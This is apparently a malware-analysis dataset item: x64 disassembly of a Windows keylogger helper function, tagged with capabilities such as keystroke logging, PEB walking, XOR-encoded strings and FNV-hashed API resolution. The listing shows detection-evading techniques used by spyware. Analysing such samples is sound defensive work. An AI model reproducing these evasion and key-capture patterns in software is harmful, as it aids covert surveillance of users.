Function at 0x18000bd80
Capabilities:
Access peb ldr_data
Check os version
Encode data using xor
Hash data using fnv
Log keystrokes
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xe0
mov rax, qword [0x18001f010]
xor rax, rsp
mov qword [rbp + 0x17], rax
movzx edi, dl
mov rsi, rcx
mov qword [rsp + 0x28], rcx
xor edx, edx
mov ecx, edi
xor ebx, ebx
call qword [sym.imp.USER32.dll_MapVirtualKeyA]
mov r15d, eax
cmp dil, 1
jne 0x18000be15
movzx edx, word [0x18001af90]
movzx ecx, byte [0x18001af92]
mov eax, dword [0x18001af8c]
xor cl, 0x37
mov word [rbp - 0x7d], dx
xor dl, 0x35
xor byte [rbp - 0x7c], 0x36
mov dword [rsp + 0x28], eax
xor byte [rbp - 0x80], 0x32
xor byte [rbp - 0x7f], 0x33
xor byte [rbp - 0x7e], 0x34
mov byte [rbp - 0x7d], dl
lea rdx, [rsp + 0x28]
mov byte [rbp - 0x7b], cl
mov rcx, rsi
mov byte [rsp + 0x28], 0x4d
call fcn.180018ac0
jmp 0x18000c252
cmp dil, 2
jne 0x18000be69
movzx ecx, word [0x18001ba90]
lea rdx, [rsp + 0x28]
mov eax, dword [0x18001ba8c]
mov dword [rsp + 0x28], eax
movzx eax, byte [0x18001ba92]
xor byte [rbp - 0x80], 0x32
xor al, 0x37
xor byte [rbp - 0x7f], 0x33
xor byte [rbp - 0x7e], 0x34
mov word [rbp - 0x7d], cx
xor cl, 0x35
xor byte [rbp - 0x7c], 0x36
mov byte [rbp - 0x7d], cl
mov rcx, rsi
mov byte [rsp + 0x28], 0x4d
mov byte [rbp - 0x7b], al
call fcn.180018ac0
jmp 0x18000c252
cmp dil, 4
jne 0x18000c011
cmp byte [0x18001ade7], bl
mov rax, qword [str.pf_ayy8w]
mov qword [rsp + 0x28], rax
je 0x18000bfff
cmp dword [0x18001f020], 2
jl 0x18000bfc2
movdqa xmm2, xmmword [0x18001bcb0]
lea rdx, [rsp + 0x28]
movdqa xmm3, xmmword [0x18001bcc0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x18001beb0]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov eax, 5
punpckldq xmm1, xmm2
mov rcx, rsi
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movaps xmmword [rsp + 0xd0], xmm6
movd xmm6, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, eax
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18001bcd0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rsp + 0x28]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x18001bcf0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.1111111111111111]
xorps xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rsp + 0x28], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movaps xmm6, xmmword [rsp + 0xd0]
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18001bcd0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rbp - 0x7d]
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x18001bcf0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.1111111111111111]
xorps xmm2, xmm0
movd dword [rbp - 0x7d], xmm2
call fcn.180018ac0
jmp 0x18000c252
lea r8, [rsp + 0x28]
nop word [rax + rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, bl
inc ebx
sub al, cl
add al, 0x31
xor byte [r8 - 1], al
cmp ebx, 8
jl 0x18000bfd0
lea rdx, [rsp + 0x28]
mov rcx, rsi
call fcn.180018ac0
jmp 0x18000c252
cmp dil, 5
jne 0x18000c064
movsd xmm0, qword [str.ipf_ayy_t9]
movzx eax, byte [0x18001b558]
movsd qword [rsp + 0x28], xmm0
lea rdx, [rsp + 0x28]
xor byte [rbp - 0x80], 0x32
xor al, 0x39
xor byte [rbp - 0x7f], 0x33
mov rcx, rsi
xor byte [rbp - 0x7e], 0x34
xor byte [rbp - 0x7d], 0x35
xor byte [rbp - 0x7c], 0x36
xor byte [rbp - 0x7b], 0x37
xor byte [rbp - 0x7a], 0x38
mov byte [rbp - 0x79], al
mov byte [rsp + 0x28], 0x58
call fcn.180018ac0
jmp 0x18000c252
cmp dil, 6
jne 0x18000c07b
movsd xmm0, qword [0x18001ad48]
movzx eax, byte [0x18001ad50]
jmp 0x18000c026
lea eax, [rdi - 0x21]
cmp eax, 0x84
ja case.0x18000c0a0.41
lea rdx, [0x180000000]
cdqe
movzx eax, byte [rdx + rax + 0xc28c]
mov ecx, dword [rdx + rax*4 + 0xc284]
add rcx, rdx
jmp rcx
bts r15d, 8
mov rax, qword gs:[0x60]
shl r15d, 0x10
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r14d, dword [rcx + r10 + 0x88]
add r14, r10
cmp r14, r10
je 0x18000c137
mov r9d, dword [r14 + 0x18]
test r9d, r9d
je 0x18000c137
mov edi, dword [r14 + 0x20]
nop word [rax + rax]
dec r9d
mov r8d, 0x1535efd3
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rdi]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x18000c132
nop dword [rax]
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x18000c110
cmp r8d, 0x267e6fbb
je 0x18000c13c
test r9d, r9d
jne 0x18000c0f0
mov rax, qword [rax]
jmp 0x18000c0c0
mov ecx, dword [r14 + 0x24]
mov r8d, 0x80
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r14 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rdx, [rbp - 0x69]
add rax, r10
mov ecx, r15d
call rax
xorps xmm0, xmm0
lea rax, [rbp - 0x69]
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], rbx
mov rdi, 0xffffffffffffffff
mov qword [rsi + 0x18], rbx
nop dword [rax]
inc rdi
cmp byte [rax + rdi], bl
jne 0x18000c180
movabs r14, 0x7fffffffffffffff
cmp rdi, r14
ja 0x18000c278
mov qword [rsi + 0x18], 0xf
cmp rdi, 0x10
jae 0x18000c1c4
mov r8, rdi
mov qword [rsi + 0x10], rdi
lea rdx, [rbp - 0x69]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], bl
jmp 0x18000c252
mov rax, rdi
or rax, 0xf
cmp rax, r14
jbe 0x18000c1f9
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.180019130
test rax, rax
je 0x18000c220
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x18000c234
mov ecx, 0x16
mov r14, rax
cmp rax, rcx
cmovb r14, rcx
lea rcx, [r14 + 1]
cmp rcx, 0x1000
jb 0x18000c227
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18000c27e
jmp 0x18000c1de
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x18000c234
call fcn.180019130
mov rbx, rax
mov r8, rdi
mov qword [rsi], rbx
lea rdx, [rbp - 0x69]
mov qword [rsi + 0x10], rdi
mov rcx, rbx
mov qword [rsi + 0x18], r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rdi], 0
mov rax, rsi
mov rcx, qword [rbp + 0x17]
xor rcx, rsp
call fcn.180018d90
mov rbx, qword [rsp + 0x120]
add rsp, 0xe0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.180001200
int3
call fcn.180001160
int3